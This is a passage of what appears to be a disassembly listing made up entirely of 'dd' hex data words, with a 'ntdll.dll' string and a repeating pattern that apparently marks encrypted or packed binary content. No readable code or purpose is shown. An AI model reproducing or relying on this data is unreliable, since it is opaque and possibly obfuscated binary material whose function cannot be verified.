		dd 0D73CA4E3h, 6ABDB2h,	16B595FFh, 0C08B0607h, 18017DEBh
		dd 0E1D41B14h, 7F1D2A2Dh, 0DC0E11B6h, 0FC3227E7h, 0E5DF1F7Fh
		dd 4479D5EFh, 2E935D47h, 0BAA86F79h, 0EB6D19C2h, 8EB5E6FCh
		dd 28BA4E2Eh, 0D576508Dh, 0A228D94Ah, 0FB004FFCh, 0DDBDCA5Bh
		dd 4EF80CD2h, 0EADB1C9Ch, 28421961h, 0B245165h,	344AFE22h
		dd 3468EAB0h, 8851419Eh, 9B8F2EB1h, 5800F6F7h, 0FDBDAAE4h
		dd 0A89C9A9Fh, 3579C4C1h, 23CB8DE5h, 49837FD0h,	0E92FEFDFh
		dd 0E95C1381h, 26h, 29C76EB9h, 0E61D8C93h, 2E81E89Dh, 6C64746Eh
		dd 6C642E6Ch, 1467006Ch, 8003B2BDh, 0FEB9h, 0
		dd 87E90000h, 68000006h, 60D65A2h, 0FA16DDE9h, 667A68FFh
		dd 0D3E9060Dh, 68FFFA16h, 60D6731h, 0FA16C9E9h,	680968FFh
		dd 0BFE9060Dh, 68FFFA16h, 60D68F7h, 0FA16B5E9h,	69D368FFh
		dd 0ABE9060Dh, 0C5FFFA16h, 5D2B0952h, 0F8C6A4B7h, 97654318h
		dd 3402E07Bh, 19C7AE1h,	0B2A96C6Bh, 4B1006D4h, 0E7749F6Dh
		dd 85D63B09h, 6AF1D5A7h, 84D4CF88h, 0BD7B330Dh,	0BC210457h
		dd 214Ch, 0D04E900h, 6AAA684Eh,	6583CEF1h, 9EB5FEFDh, 8B4629D8h
		dd 0B391CA47h, 0C776461Ch, 0C4977C7Eh, 8C4A77E6h, 0E8AFD289h
		dd 469C8505h, 7F96D960h, 1BDB78C0h, 8EB160FBh, 0C058AB81h
		dd 348B3978h, 8FC4760Fh, 27015E4h, 0F33C0000h, 1D40D9F0h
		dd 7D4467F4h, 0EF23E8CEh, 0AA89C8DFh, 37BF9DCh,	9B304A3Eh
		dd 290C3EBFh, 0C019B99Ch, 0BFB3E78h, 9169D198h,	10D64B34h
		dd 2F60A32Ah, 62A5AE8Bh, 4DA3F3Fh, 2AB4601Eh, 0E3C675E6h
		dd 8529DE65h, 2366A880h, 0C9927F3Dh, 67F41DEBh,	0E0459430h
		dd 4E4AABE1h, 4C8h, 0CEA71A6h, 0A785D63Eh, 462437D9h, 0E3C19A78h
		dd 7D5B0015h, 0C84D8AE2h, 2FE7B593h, 93804E2Ch,	0F51CEAC8h
		dd 0D2B68866h, 0D4D0694Bh, 7514EE84h, 684E0D04h, 9F8CC6A3h
		dd 8A6D7218h, 313D1CFh,	0B0373558h, 7EC7B8CEh, 7E611053h
		dd 0DDC31BFEh, 0C0CC9756h, 0B391D478h, 0D2C7662Bh, 48806026h
		dd 0FDE08FCCh, 5210BB28h, 0F9DB62C2h, 7E78C08Bh, 29A98C3Bh
		dd 7D04EA30h, 72B8B89Ah, 7EF6DC1Fh, 609D7F06h, 0DF2272B9h
		dd 0B96008EAh, 8FCC4672h, 0FC8467AAh, 1B165089h, 578F92FAh
		dd 0BBA7EA71h, 2CECD414h, 0A4C776E5h, 7F65BDA4h, 0F3EE4207h
		dd 394D507h, 14809A7Ch,	2DDC1FD4h, 0FD08BD4Ah, 245CE09h
		dd 0A8B35E1Ch, 4615FCCAh, 56CDBF0Fh, 231F80BCh,	3F0h, 0E4C2997Eh
		dd 7F5DFE16h, 1EFC5FB1h, 0BB99C250h, 553328EDh,	0F025B2BAh
		dd 57BF8D6Bh, 0BB582604h, 1DF4C2A0h, 0AA8E603Eh, 0D4D14123h
		dd 4DECC684h, 694BD24Ah, 0EE7EC76Bh, 6B0BED74h,	4D907EC7h
		dd 1AF7BB9Eh, 6BA1830Ah, 0E3267EC7h, 8111134h, 0EC9BC055h
		dd 93C84806h, 3CC3A970h, 7EC76B5Ah, 3BB99CDFh, 0C06C41B4h
		dd 0CF460678h, 0ED25698Ch, 0D5844B6Eh, 41C84026h, 78C0655Fh
		dd 48BEA1E4h, 9D835BBEh, 0B2C79216h, 2E145772h,	0DCBAA170h
		dd 3558030Eh, 99722C35h, 55705810h, 6EED2955h, 0EFD5844Bh
		dd 0AB031968h, 1C53966Ch, 1DB525BCh, 39262283h,	35000003h
		dd 0CD9B79E2h, 68361447h, 7D5B3A8h, 0A472500Bh,	710CEA71h
		dd 2239DCFBh, 0BBA07644h, 57040FDDh, 0F566AB79h, 0DA614517h
		dd 84D4D1F8h, 404A37Dh,	500CA0Dh, 8F9F36E1h, 0A34022A9h
		dd 82C57EC7h, 0A9B0B0D3h, 59C68B71h, 0CEDAB8A2h, 0D8A0F727h
		dd 1AC923FCh, 2E921E7h,	0D9BC5D59h, 0E46BE35Bh,	7EC7DF02h
		dd 0D4614487h, 78C0E535h, 1AFAB832h, 62571E41h,	78C0D680h
		dd 3513C205h, 1A0AFh, 8C4A4C00h, 1CF1D487h, 0BE64FDE8h
		dd 976E51D8h, 0B0F378BFh, 36B74DC0h, 0A8B16383h, 56148C72h
		dd 2EBB9EBDh, 7D7B7623h, 0C2C2E528h, 1AA1875Fh,	77719365h
		dd 0BB795FA2h, 0CD8E8856h, 9A7A381Eh, 0E068DEC1h, 876AF122h
		dd 0D60D4EC3h, 12EF36CCh, 61D6D233h, 0D000002h,	0A573510Ah
		dd 400EEC6Fh, 0DFAD8BD0h, 7C4A2833h, 49E4C299h,	0FA61B423h
		dd 93C84E1Ch, 2F2CE7B5h, 0CD8E8351h, 0B2391DEFh, 84D4D2D0h
		dd 4DC7B55h, 0AA684E0Dh, 9D0F368h, 0D8B219D6h, 3518B14Dh
		dd 55BE7C7Ah, 23D28989h, 8159C040h, 0AD55149Bh,	199178C0h
		dd 0C085B092h, 0FF23578h, 92714F92h, 35ED7475h,	0FB19D74Fh
		dd 93763D60h, 0B8B12306h, 7565A872h, 0D7400502h, 845ABF03h
		dd 9E0C179Eh, 0CE11DDCFh, 39B6ABABh, 0A0C3987Bh, 3E02E4D9h
		dd 4487DDD0h, 7937AF95h, 89D2419Dh, 0CDF09F66h,	2338DA06h
		dd 0C9563900h, 0D7C5BB14h, 0DB809250h, 0BEBEF1B8h, 0CD6D4F5Fh
		dd 9FE25F42h, 0E67C41B9h, 0A932837Ah, 72806257h, 0C205D7C5h
		dd 0BDE07B96h, 1D9513F6h, 82A5B65Fh, 0FD14D8BBh, 5FB2805Eh
		dd 5FE7C5FCh, 0B718B29Bh, 173BBh, 3F1CFB00h, 0DA819361h
		dd 79E22EFCh, 1645CD9Bh, 0B0AB6A38h, 0A23537D2h, 3C0AE873h
		dd 0D5A381DAh, 713F1D3Eh, 0BDDBBA0h, 0D3BEA027h, 694384D4h
		dd 4E0D04CAh, 0E846A368h, 2403E56Ch, 45887EC8h,	0A0774512h
		dd 0D8BBA074h, 0DE041D1Dh, 0F8FE71F8h, 0FCC378C0h, 0A8289E7h
		dd 0E2C06F79h, 848C4A73h, 0ED74F4D7h, 19D74F35h, 753C5FFCh
		dd 0CDBF0592h, 0F93C78B9h, 0A0BB5513h, 90813FBDh, 3971D847h
		dd 63121175h, 15AB785h,	0A37BDEDEh, 898745BDh, 1BFBDDD2h
		dd 3D8078BAh, 0D955DC5Ah, 9E72AC7Eh, 5AB7755Bh,	0BC552301h
		dd 4568F322h, 71E9CF7Eh, 0ACB808EAh, 90CB4672h,	7EC1A66Dh
		dd 79E0E09Bh, 0B801E36Ah, 438672ACh, 0F427AE94h, 396CA4CDh
		dd 33F7BFF6h, 0A7081DBBh, 97ABh, 1B40D700h, 0B6A56F3Dh
		dd 55060AD8h, 0F269A977h, 8CCF4614h, 7E5913AEh,	18E6C497h
		dd 0B17F5DFEh, 4D1BF962h, 0E7B997C4h, 0D49A7C03h, 451F84D4h
		dd 9D148A6h, 0CE2C9C23h, 0A6E978B9h, 89D23F83h,	2734DDABh
		dd 958F8341h, 0BA072C0Eh, 0BF6EB178h, 0F61421DCh, 0ACA8F008h
		dd 0C4977965h, 82BDAA1h, 2EA9DDBDh, 0ABD74192h,	6ECDF06Bh
		dd 3B82D1A6h, 3FD20C73h, 0A1703E1Ch, 85D66436h,	762555C0h
		dd 58030F53h, 0C4BB2935h, 8664F71Ah, 0DF0259B8h, 3E3h
		dd 15208000h, 25481304h, 82B30E1h, 0E90C4FC4h, 0C7EA71A5h
		dd 0A6C99283h, 85A8B362h, 678AD141h, 4B6EED23h,	2B4E0D07h
		dd 0E389532Ah, 4C381h, 0B8500000h, 4, 8758C329h, 685C241Ch
		dd 254Ch, 51241489h, 0C181E189h, 4, 8704E983h, 895C240Ch
		dd 0C468240Ch, 89000028h, 0FC68242Ch, 5D3D2810h, 8105E5C1h
		dd 0F4BABFEDh, 5DEA899Eh, 240C8B54h, 4C481h, 0B680000h
		dd 89000034h, 418F2414h, 2434FF08h, 4C48359h, 5A2434FFh
		dd 4C481h, 67E90000h, 87FFFA10h, 5DF8D12Fh, 8FB812AEh
		dd 3060D6Ah, 43E0FFC5h,	0AA36A21Ch, 22641F88h, 0A73151D5h
		dd 0F47BE1F8h, 0C17A503Ah, 184BB554h, 0D41538C4h, 0CC434355h
		dd 0EF3D28F9h, 5222BCF2h, 4814F0F4h, 0C04D0BA7h, 0B40229D1h
		dd 410E94CDh, 0F477094h, 0E718FB53h, 604919E1h,	0C60780EEh
		dd 866DBD9Fh, 0F410274Dh, 163475FFh, 2E285683h,	0E86E6995h
		dd 9, 519006F8h, 46C0AAA9h, 0F0B70FB7h,	6E85Ah,	0F3430000h
		dd 0BAAE7559h, 17ABA6BEh, 0C2815E50h, 71F4h, 0C4EB8166h
		dd 0BCFEB910h, 0E9812CF6h, 2CF6A0B9h, 0F58A6050h, 0AE8h
		dd 0C11C4200h, 7E9BB8F0h, 5A52CDB3h, 3A8B5861h,	815EF951h
		dd 4F1910C7h, 0E9FC6007h, 13h, 0BC6AA5D8h, 0D0AAD96Ch
		dd 1D4DD75Ch, 0F913CC38h, 61360E4Bh, 0C1A8C781h, 0D98B5F99h
		dd 4475EF81h, 8B664167h, 8B6657D8h, 66028FD8h, 0EA83C78Bh
		dd 0BB665301h, 4A5BDA96h, 0F7BB4A4Ah, 8360F21Fh, 850F01E9h
		dd 26h,	5BBE6060h, 0F4415A8h, 8Ch, 8E0F6100h, 2, 0E961AEB6h
		dd 24h,	9D700EBDh, 0B426100Eh, 8E920DFh, 1C000000h, 0DBE8FED0h
		dd 0E9A02996h, 0FFFFFF6Eh, 37C2E05Ah, 0D1365C61h, 2DE9h
		dd 0A3C3A00h, 67h, 9 dup(0)
		dd 0ADE90000h, 68000004h, 60D6D9Ch, 0FA0ED1E9h,	6E0568FFh
		dd 0C7E9060Dh, 68FFFA0Eh, 60D6F6Eh, 0FA0EBDE9h,	0F764B3FFh
		dd 92C94B19h, 312AE6B4h, 0CE8D8553h, 68F322F0h,	5A7DEF8Ah
		dd 0F4C2A0BBh, 8D5B3922h, 29F7D586h, 0C39573E8h, 0D77658DFh
		dd 21FB84D4h, 888C4A82h, 6E9B0D3h, 0B0BD342h, 0FB1E3DD3h
		dd 0B3D68534h, 0DBB9A26Fh, 0DA819553h, 0BFE277F7h, 1CE30655h
		dd 133625F0h, 30B79D4Ch, 78BF97F9h, 0C3D0F336h,	78C03FEDh
		dd 0F321DF7Bh, 15014568h, 0AD5C2346h, 0DF453ACAh, 29ECF221h
		dd 99480F32h, 2DCCAF76h, 0E48FDC58h, 2BC33h, 0EBF35A00h
		dd 0BDA37BDEh, 0BF975336h, 0A595D878h, 5AA7E332h, 1EC45D5Bh
		dd 0F426B138h, 0B12B7552h, 53BD482Ah, 6345CC75h, 0E87553BDh
		dd 0CE7DC0A5h, 0F3B6ABABh, 9D7F061Eh, 227553BDh, 460D30DFh
		dd 22F3B197h, 51D85639h, 6F4BFA8Fh, 0EDAB91D4h,	8B593724h
		dd 329ED586h, 0D1B1458h, 2ECB0ACh, 77A00000h, 0DC3806E4h
		dd 3DD3A17Fh, 0A072401Eh, 60FDDBBh, 90DC7755h, 0AF8DCE47h
		dd 482635E1h, 0E4C2997Ah, 8260FB16h, 6345CCB0h,	0E884D4D8h
		dd 0D1486F0Eh, 1B9C2309h, 0DF78B9D6h, 876AF121h, 23E1C70Ah
		dd 38B69F2h, 0A98CCF45h, 452B30E5h, 0ADD08B87h,	3B4803E6h
		dd 78B9FF66h, 0AFE6759Ch, 11A6DB2Bh, 83B7B314h,	9000002h
		dd 0A16F4D0Eh, 3C0AE873h, 0DBA987D4h, 78462437h, 45E0BE9Dh
		dd 0F665B027h, 8FCC4A18h, 2B30E3B1h, 0C9927F4Dh, 0AE3519EBh
		dd 84D4D8CCh, 48D87751h, 0AB2309D1h, 3660D7E6h,	0F5D85195h
		dd 0BAA6E768h, 4669AC78h, 51868A48h, 13CB7B16h,	86A95864h
		dd 794FDCBFh, 778BA6Fh,	0A8DD6259h, 0E3E495B1h,	18Dh, 0D10D040Ah
		dd 30F71A41h, 0F71A5E81h, 65FC8664h, 0A15FD7BDh, 4A2CB371h
		dd 0CF7EC76Bh, 6DFADD8Ch, 78C07B9Ah, 0A6B5601Eh, 0F17F46C3h
		dd 92F892B1h, 5E6B8E3Dh, 78BF7D88h, 0EC136816h,	0E490A399h
		dd 3D1EF7B5h, 46195Ah, 4A400000h, 6B694BD2h, 0ABEE7EC7h
		dd 8CD148C8h, 4127D685h, 0BF9AE3BAh, 71A15F78h,	478A07EAh
		dd 0AC682624h, 0E2C58CAFh, 0C03B7F55h, 185F0D78h, 8FE1A2E3h
		dd 0BEE9E4h, 39F70000h,	169D83D8h, 78C02F34h, 2E9376B9h
		dd 684E0D04h, 0C74CEEA3h, 9D244236h, 7EC849BBh,	6B4EFD40h
		dd 35A96CB0h, 0AED180DBh, 91B4A76Ah, 1E3DD593h,	2B0134FBh
		dd 3F1BC8A6h, 6EA3674Ah, 7C780FEDh, 0FA7EC7DBh,	0E0480D17h
		dd 70CB4117h, 9AD5B7ACh, 175A7EC7h, 19008A68h, 0A254DBC1h
		dd 0E778BD41h, 1500BEA4h, 61104BC9h, 0C460B583h, 0BDF15B3Dh
		dd 0EE9DE078h, 0A2E8EDB7h, 0B5B11211h, 11Ah, 0D8B6A572h
		dd 73510A0Ah, 12F06BA5h, 0AF8DCE44h, 492734E1h,	0FC19BEAEh
		dd 63B3815Fh, 0C74C1AF8h, 29E8B694h, 9E825432h,	0D4DA3517h
		dd 41E0BA84h, 49CD1104h, 0B7856312h, 0B423015Ah, 45D10D04h
		dd 7D2CF316h, 60FB165Ah, 0D63CFA82h, 3F22A285h,	0C07A01E7h
		dd 578BFB5h, 9917DCC2h,	0B63E5A63h, 0B22AA88Bh,	563922F4h
		dd 0FAD88392h, 0C05A8D63h, 0D4EC378h, 0A82FA72Fh, 78C059C6h
		dd 6125084Bh, 8884A7B4h, 92h, 9D14825h,	28AF6523h, 0C50CA8D5h
		dd 4D7928D2h, 0A86F92C9h, 4BC047C5h, 878BA44h, 0B35EA2C5h
		dd 4672E92Bh, 0A56C8FCCh, 0C74A18F6h, 0CD647194h, 68D7B2B6h
		dd 12FFDBA0h, 6EA56349h, 204D2FB6h, 8FD217B3h, 13F6BDE0h
		dd 1942CF9Dh, 5234BB33h, 0D717B320h, 0B2F6B194h, 5715FB60h
		dd 337EA1BAh, 3BB14330h, 0AA8D3C20h, 0E75E3EFh,	659A3DD4h
		dd 87613C8Eh, 8A6446CDh, 0A6E917B2h, 9C6A48F7h,	0C7C3E675h
		dd 0Ah,	3EFC2064h, 9B6285D6h, 130453B8h, 30E12548h, 4FC4082Bh
		dd 71A5E90Ch, 9283C7EAh, 0B362A6C9h, 0D14185A8h, 0ED23678Ah
		dd 0D074B6Eh, 522A2B4Eh, 0C281E289h, 4,	8704EA83h, 895C2414h
		dd 89502434h, 405E0h, 42D0000h,	87000000h, 895C2404h, 96682414h
		dd 89000037h, 0EC832434h, 242C8904h, 0B41A9EBDh, 81D5F72Ch
		dd 0A436E1EDh, 0D1ED8124h, 89A89A41h, 8B545DEAh, 0C4832434h
		dd 0D7895704h, 24048157h, 416D5598h, 8108468Fh,	5598086Eh
		dd 8B5F416Dh, 89572434h, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 2434FF5Ch, 4C4835Ah,	0FA0A35E9h, 628587FFh, 6C35964Fh
		dd 0D70ADB8h, 0FFC50306h, 339413E0h, 0C23DAF3Ch, 435CBA58h
		dd 29B89F26h, 5D07B144h, 3817BB3Ch, 8E57DD14h, 0BF80303Eh
		dd 3D62AB21h, 0F72283Bh, 0B1853458h, 748BDE35h,	63EBF814h
		dd 62D35377h, 0CE365DB1h, 7C4B4C09h, 325636FBh,	3D56A9F1h
		dd 3256DD32h, 30D8E5B1h, 525675B1h, 726346D0h, 32565DB3h
		dd 2242017Ch, 53593C7Dh, 7218FFB5h, 6DE01019h, 32117955h
		dd 3ADE7AB1h, 3D56BAB1h, 32565F3Eh, 3237CEB1h, 3242BEB1h
		dd 1FDBABB1h, 0FD3BA08Fh, 0DD1A74C8h, 0C2694363h, 93DFE8A7h
		dd 23BF78D6h, 1756AEB1h, 0BB841FB5h, 92E43E90h,	7E10A273h
		dd 8F16206h, 3D3675B1h,	3256BC36h, 32D552B1h, 5356AEB1h
		dd 0DB565749h, 3256ABBFh, 7FB61E3Dh, 0C763E3B1h, 0CF233BB2h
		dd 0B9366DB6h, 30D25240h, 6056AEB1h, 325636E8h,	3256A058h
		dd 0B3C17AB1h, 7C170F00h, 0D3CDE4DAh, 3202454Ah, 0DB365DB1h
		dd 3256AEA3h, 798D7CFEh, 79912FE1h, 0F2EB6BDh, 7137DE50h
		dd 3D007EC2h, 530D4D0Eh, 32565158h, 58B187B1h, 0B2610C57h
		dd 2B087E93h, 648A2160h, 3256EAB1h, 1BD6F1CAh, 3256C8CBh
		dd 3245B4D1h, 5BFFAEB1h, 0EF860648h, 86945CB6h,	0F7B4976Ah
		dd 0C1E54E89h, 8EBCF4F8h, 535254E7h, 3DA35DB1h,	3256A93Ah
		dd 533637B1h, 533F6331h, 8636D5B1h, 95856BAAh, 5346B6D3h
		dd 0BF59BAB1h, 32565DACh, 324122BEh, 20BF57B1h,	0EF56ABB1h
		dd 7EC091F3h, 0EDF7D56h, 0AF2DBD7Bh, 8C2E34A6h,	3D565D58h
		dd 3256B43Eh, 3DBF37B1h, 4156ABB1h, 0D5773E91h,	9BF29463h
		dd 5B8B6B6h, 8A30412Ch,	323795C8h, 32565BB1h, 36D058D1h
		dd 5456ABB1h, 53689408h, 0DB36EAB1h, 325675A3h,	96B65672h
		dd 0C1DF19AAh, 39E38B0Eh, 7C9DD58Ch, 0CADC5EBCh, 32453CD0h
		dd 0FBEBEAB1h, 0A981FFA3h, 7E22CF4Eh, 0CEE7DBCCh, 4F0CF055h
		dd 0CA565785h, 32AEABB1h, 3DAAB5B1h, 32373806h,	5FE015B1h
		dd 0CA56BAD0h, 3EBF5DB1h, 1656AEB1h, 8B6B5730h,	0F1B4E305h
		dd 3279366Ah, 54AA8AB1h, 53E0A10Bh, 34BFBAB1h, 0F2565DB1h
		dd 0A7F99AC6h, 3D565721h, 3256AC3Dh, 0B330B5B1h, 53DEFD52h
		dd 3FBF75B1h, 2656BAB1h, 499CBC8Ah, 495B02A6h, 2C185DD1h
		dd 21BFABB1h, 4556D5B1h, 1ED772A3h, 43C4C4B5h, 61D015FEh
		dd 44890741h, 3256FD3Bh, 0DB56574Dh, 3256ABA1h,	0BC5ED44Fh
		dd 8BCC407Ah, 94DB3BFAh, 85EA79ACh, 32565DB3h, 0C556AEB1h
		dd 0A6580E8Bh, 52914802h, 0FF18457h, 0DB78A9B7h, 32D607E3h
		dd 21D0B5B1h, 52565DB1h, 8B5B4630h, 34BF0C8Bh, 8756ABB1h
		dd 0B870BCEh, 35818BD6h, 325275BBh, 325DBAA3h, 32775DB2h
		dd 3EBFACD1h, 0DE5657B1h, 0FCA8EC5h, 1D17818Ch,	534C8ADAh
		dd 0BD5975B1h, 3256BAA2h, 39BFA8D1h, 0CB56AEB1h, 0AA6C0331h
		dd 0F01450A8h, 3D37E060h, 3256EC38h, 6B0415B1h,	3237DBD1h
		dd 3259B4B1h, 78DBAEB1h, 0D319C50h, 60B3D34Ah, 50586A87h
		dd 3D56EA7Bh, 3256743Ah, 325642B1h, 0DB565D48h,	3256AEA3h
		dd 9B28068Eh
		dd 962D6A98h, 33D7BE5h,	0A3363CFh, 325621F5h, 324735BEh
		dd 3EBF5DB1h, 1B56AEB1h, 30EF14B6h, 235E0110h, 320A0159h
		dd 3DA38AB1h, 32567530h, 3256DBB1h, 32515FF5h, 3D36AEB1h
		dd 0F4DD8C06h, 5256ABD0h, 30956CD7h, 3256EF59h,	0EAE408B1h
		dd 0B7594308h, 32565DB1h, 3256CFE9h, 325655F5h,	4C7E0EB1h
		dd 2335E693h, 76491440h, 0B35975B1h, 3256BAB6h,	3257D8BEh
		dd 0C7AFAEB1h, 3BBF979Ah, 0EF56ABB1h, 0EB76F6E3h, 0A71A952Fh
		dd 325B9C2Dh, 4447BAB1h, 301BB9C6h, 7C1FFEA2h, 0B2532BDEh
		dd 34BFC364h, 1456D5B1h, 80EBFED6h, 0BB37E8B2h,	6519E85h
		dd 0AFF58FECh, 0AE36FED0h, 32565D58h, 8A4D81B1h, 56A12320h
		dd 0B3C5687Ch, 0E4A7BB41h, 324253A8h, 0B7AA5DB1h, 33BEA56Bh
		dd 0FC2B017h, 0B562883h, 0C77A0ACFh, 0DBCB113Bh, 325675BAh
		dd 0D0FB7E66h, 1CFF6DC2h, 5333F27Eh, 0FC2B026h,	53CB2883h
		dd 570A1A27h, 0AECB018Bh, 32567E58h, 2FA27DB1h,	2B363E23h
		dd 0E7DA116Fh, 4AA0D6D7h, 325042A7h, 85E0D5B1h,	61146795h
		dd 16C6142Ch, 5204EAB5h, 325BB42Dh, 0E4A7AEB1h,	507B13E6h
		dd 9C7F1B42h, 0B3B309FEh, 9582258h, 32509C88h, 75D0BAB1h
		dd 0D144C0C5h, 0BE69172Ch, 3D375492h, 0DBCACB80h, 3256D5B7h
		dd 3FF2DD87h, 3CBFA673h, 3C56BAB1h, 2893619Eh, 0D41786FAh
		dd 402B8396h, 0DBCA3672h, 3256D5A2h, 0F86386AEh, 0A4E72D8Ah
		dd 10BBBEA6h, 5CBF2D02h, 0B3F332BEh, 0B295DF6Fh, 3250428Ah
		dd 3510D5B1h, 9184B785h, 6A0C142Ch, 5D56BAE9h, 0F7179796h
		dd 0ED3AF74h, 0F36AB917h, 9BA538A1h, 325695C5h,	14A76AD1h
		dd 0D790CCD7h, 5256BAD0h, 54368E3Ah, 0BA59703Ah, 325657B1h
		dd 3256CAD0h, 3ABFB5D1h, 6856EAB1h, 94A65A31h, 3D7A5E6Bh
		dd 3D378B0Eh, 3237540Eh, 8D0137B1h, 4294386Ch, 409E55E8h
		dd 3D56EAD0h, 32566037h, 35BEDAB1h, 52565DB1h, 776AFC0Ah
		dd 0B30F9A91h, 0E2015646h, 3BBFB4C2h, 7256EAB1h, 0DB471E7Fh
		dd 7FA22932h, 87365DB1h, 0CCE8C8E3h, 0BA59364Ah, 3256ABB0h
		dd 0CB56D54Dh, 0B059EAB1h, 325675B6h, 0E2DDDCD1h, 32373CD1h
		dd 325656B1h, 32565B58h, 9CAD6EB1h, 56384991h, 0F1956037h
		dd 0DB56757Bh, 3256BAA1h, 0E29DC1DAh, 26E3EAC6h, 52052117h
		dd 471E3603h, 0DBAFD5B1h, 3256EAA5h, 26A086BBh,	0F59B7C98h
		dd 50F51A0Bh, 1290BC3Ch, 9DFABF5h, 3D36ABB1h, 3256D034h
		dd 0ECD78CB1h, 8559ECB9h, 3256DB7Fh, 32565458h,	6A2EF6B1h
		dd 1C87BA9Dh, 32567CDEh, 325E3C48h, 0A5EDEAB1h,	4EE6438Ch
		dd 32562B3Bh, 52565D44h, 0F3D25508h, 6D06379Fh,	4B2F340Eh
		dd 3237B488h, 325003B1h, 58F275B1h, 0F750AD34h,	35BF5DB1h
		dd 0E756AEB1h, 0BFC2E72Fh, 32560935h, 3256C758h, 892187B1h
		dd 0BBC819DAh, 950251F4h, 74584637h, 52AA01D4h,	32564758h
		dd 4F8F92B1h, 0EB2FF5C0h, 81ADB28Ch, 0D56789h, 325C53D1h
		dd 0B0485DB1h, 4C13349Fh, 3AA51384h, 0DB56ABD0h, 3256D5A1h
		dd 31630DBBh, 0A92DEBBFh, 21E57E62h, 30E81EA7h,	325124BEh
		dd 0B75957B1h, 3256ABB0h, 3D56D548h, 3256EB30h,	325680B1h
		dd 3256B758h, 9C470BB1h, 0C99B9C6Fh, 8DE3A667h,	3256C146h
		dd 3256D958h, 38A9C0B1h, 0E53A67F2h, 32DE30ACh,	3D565D8Bh
		dd 3256B73Ch, 3242BEB1h, 753FABB1h, 8EFF3ED9h, 5E836264h
		dd 0B00C60D1h, 842C4FA3h, 32565F97h, 3256BF58h,	0DBE50DB1h
		dd 0B571C99Ch, 6FAE049Eh, 7CBFF81Fh, 325643F2h,	3256B458h
		dd 26EAEFB1h, 0E93533DEh, 4D327AF2h, 32580146h,	32562CB1h
		dd 325869BEh, 3D3675B1h, 3256BA3Eh, 18A0DCB1h, 537BBBD3h
		dd 0B35957B1h, 3256ABB0h, 5256D548h, 3256ED59h,	599EAFB1h
		dd 1C2348Ah, 3256D0BEh,	650FAEB1h, 506FE9D7h, 3256CAEFh
		dd 324354BEh, 8236EAB1h, 325D9D51h, 8B03BAB1h, 1A4DC56Dh
		dd 0F41703B5h, 32370924h, 325653B1h, 0DB56D544h, 3256EABFh
		dd 75F480FBh, 4F6963AAh, 2E43B776h, 3256C8B3h, 32565B58h
		dd 4F6EBFB1h, 70B60FEBh, 99AA7458h, 3D567535h, 3256BB31h
		dd 3256A5B1h, 324328BEh, 22BF57B1h, 0E456ABB1h,	34317900h
		dd 6A075B24h, 676163EEh, 0DB4D4171h, 32565DB4h,	0F3B93F66h
		dd 3D565770h, 3256B937h, 325B3CB1h, 0F8F1EAB1h,	66D1E370h
		dd 0AFD24C52h, 32C0EA8Bh, 325F47B1h, 0E4B357B1h, 1B7B8D1Ah
		dd 323E411Ch, 32561FB1h, 32567258h, 0B51307B1h,	94ABA7ACh
		dd 0BA59AEB1h, 325657B7h, 0B88020D1h, 3256B452h, 0CB56EA4Dh
		dd 32AA75B1h, 325953B1h, 0AAB85DB1h, 0F9B9ADCh,	0E206E095h
		dd 0B5CC4B33h, 0DB56D599h, 3256EAB8h, 6003CC4Dh, 5DA110B7h
		dd 0CE565D97h, 3D36AEB1h, 3256553Ah, 0C7B718B1h, 0DB56D5D0h
		dd 3256EAA5h, 0E27D635Ah, 0CE8711A6h, 0EDCB6E35h, 848DE662h
		dd 413D9754h, 32AEABB1h, 325B3CB1h, 0C92CEAB1h,	9B7876A4h
		dd 0DD437588h, 32D78734h, 25D5A1B1h, 0DB5657B1h, 3256ABA3h
		dd 0EBD35972h, 0A529AEC0h, 51ED5A20h, 0AD6A96A8h, 0DB36DB72h
		dd 3256AEA0h, 0C1C54770h, 6C16DF18h, 0C3B2E0AFh, 92BCD2EAh
		dd 32469DBBh, 5B1BBAB1h, 0EAFF6294h, 5AA163C7h,	26C74D0Ah
		dd 0DDD71B13h, 29719CF1h, 32568BEAh, 0B25923D1h, 3256BAB1h
		dd 32563CEEh, 5256AE49h, 32564559h, 35F0FCB1h, 6C774547h
		dd 0C119EFBCh, 71DA9494h, 0B2122CDDh, 540D8858h, 32376C3Ah
		dd 25D858B1h, 0DB56ABB1h, 3256D5A3h, 0A03A55D5h, 0A68011CFh
		dd 3EC1EEAAh, 1029743Eh, 0B059929Bh, 325657BCh,	0F21C14D1h
		dd 0BA59DAADh, 3256EAB1h, 525675D0h, 0CCDC00D7h, 53A4D6D7h
		dd 0BA59AEB1h, 325657B0h, 0C756AB44h, 5436D5B1h, 0B1840230h
		dd 32566158h, 73CC98B1h, 1C6ED204h, 9A074FE1h, 0FC13FD0Dh
		dd 9C08BBA7h, 3256B43Ch, 3256EC58h, 0E437FB1h, 52CF97E7h
		dd 0DB97B631h, 3256AEB4h, 0CC06129Dh, 3256CAD9h, 325D59BEh
		dd 34BFEAB1h, 0E85675B1h, 0F72A5BC4h, 52565DE3h, 47EA7630h
		dd 0E3E557F0h, 3ABFCBD0h, 0E856D5B1h, 0B17BDA5Eh, 3D2C6D86h
		dd 32376806h, 3250B4B1h, 56BBAEB1h, 4595098Eh, 49F013D1h
		dd 0B930F925h, 32568B77h, 32539CD1h, 83E8BAB1h,	3DF30B35h
		dd 3256AB35h, 0DC94E8B1h, 3237E47Dh, 3AD1DAB1h,	3D56EAB1h
		dd 32567736h, 3237DAB1h, 33DE52B1h, 0CA56AEB1h,	52565748h
		dd 325829BEh, 3BBFD5B1h, 4C56EAB1h, 0BD965C47h,	4D99F92Ch
		dd 0C8285B0Bh, 3256CFD9h, 3D565744h, 3256AC3Dh,	33DFDAB1h
		dd 0CE56EAB1h, 3DBF75B1h, 1556BAB1h, 942F5A5Eh,	52937470h
		dd 897E0F45h, 3256CC6Bh, 0DB56D549h, 3256EAB8h,	17A19564h
		dd 5ECE4D4Ch, 2FED3D24h, 0B959C6FCh, 3256366Eh,	3256A558h
		dd 3672B9B1h, 46E03258h, 9D052686h, 3DF302CBh, 32565132h
		dd 34D7A1B1h, 3D5657B1h, 3256AB3Eh, 5256D5B1h, 3256E759h
		dd 0C46E72B1h, 0C5284D82h, 6EBF652h, 6BAAC42Ch,	32565C58h
		dd 7EE15BB1h, 3CF19967h, 59FB1CABh, 0DB5675D0h,	3256BABFh
		dd 711A6FE6h, 0D45BD71Dh, 50283F55h, 3256C2EBh,	3256D058h
